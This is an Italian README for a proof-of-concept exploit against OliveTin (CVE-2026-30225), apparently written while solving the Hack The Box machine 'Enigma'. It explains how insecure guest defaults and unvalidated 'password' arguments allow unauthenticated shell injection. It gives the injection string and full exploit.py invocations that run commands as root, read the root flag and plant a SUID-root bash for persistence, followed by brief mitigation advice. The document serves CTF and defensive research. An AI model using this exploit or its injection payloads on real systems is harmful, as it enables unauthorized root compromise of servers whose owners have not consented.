
Proof-of-concept exploit per OliveTin RCE non autenticato (CVE-2026-30225) tramite impostazioni predefinite guest non sicure e tipi di argomento non validati, che consente di ottenere una shell root sulle istanze vulnerabili.
PoC per escalation dei privilegi / esecuzione remota di codice contro istanze di OliveTin che girano con le impostazioni predefinite di guest incluse nella distribuzione. Verificato contro OliveTin 3000.10.0 in esecuzione come root (HTB: Enigma), dove produce una shell root non autenticata.
⚠️ Solo test autorizzati. Pubblicato per scopi educativi, CTF e ricerca difensiva. Usarlo contro sistemi di cui non si è proprietari o per cui non si ha esplicito permesso scritto di test è illegale. Nessuna garanzia. Vedi LICENSE.
La configurazione di esempio / predefinita di OliveTin include:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
Con questa configurazione, un chiamante non autenticato (WhoAmI → "guest") può invocare
StartActionAndWait ed eseguire qualsiasi azione. Le azioni vengono eseguite come utente del processo OliveTin
— spesso root.
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
Questi tipi non vengono validati affatto. Qualsiasi azione il cui template shell:
interpola un tale argomento è un punto di injection nella shell. Su Enigma il
/etc/OliveTin/config.yaml attivo contiene:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- non validato, sta dentro -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # chiude la citazione -p'…', concatena
<cmd>, e # commenta il ' <db_name> > /opt/backups/backup.sql finale.
A + B contro un OliveTin root = RCE non autenticata come root.
RestartActionRestartAction ricostruisce la richiesta interna senza trasportare gli header/cookie
di autenticazione del chiamante, quindi una riesecuzione risolve sempre all'utente guest (bypass ACL
quando il guest è più privilegiato del chiamante). Corretto in 3000.11.1.
Nelle build ≤ 3000.10.x l'handler è inoltre implementato a metà (// FIXME)
e inoltra un BindingId vuoto, quindi restituisce semplicemente
action with ID "" not found e non può rieseguire nulla. test-restart
riporta cosa fa effettivamente il target. Su Enigma questo percorso è un no-op — i problemi
A + B sono ciò che danno l'esecuzione di codice.
requests — pip install -r requirements.txt127.0.0.1:1337; tunnel/pivot come
necessario — su Enigma solo l'uid 1000 può raggiungere la porta)../exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check identità, elenco azioni, argomenti iniettabili, stato CVE-2026-30225
test-restart sonda solo il comportamento di RestartAction
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' agisci come utente locale autenticato (opzionale)
# ricognizione
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: esegui un comando come root
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# rilascia una bash SUID-root per una shell persistente
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# poi: /tmp/rb -p
StartActionAndWait restituisce lo stdout del comando in logEntry.output, quindi
l'output (flag, uid=0(root), …) torna direttamente nella risposta.
check elenca ogni azione visibile e segnala quelle i cui argomenti usano un
tipo senza validazione. Scegline una, determina come l'argomento è citato nella sua
stringa shell: (--quote single|double|none), poi exploit --inject <arg> --cmd '<payload>'. Le azioni non mostrate su nessuna dashboard possono comunque essere eseguite per ID
(--action <id>).
authRequireGuestsToLogin: true e rimuovi exec dalle autorizzazioni guest/predefinite;
dai a ogni ACL solo il minimo necessario.user:
per azione dove supportato).type;
evita di interpolare argomenti nelle stringhe shell: — preferisci la forma argv exec:
e cita/valida rigorosamente.RestartAction di OliveTin esegue azioni come guestinternal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)Ricerca & PoC durante il rooting di HTB: Enigma (www-data → haris → OliveTin → root).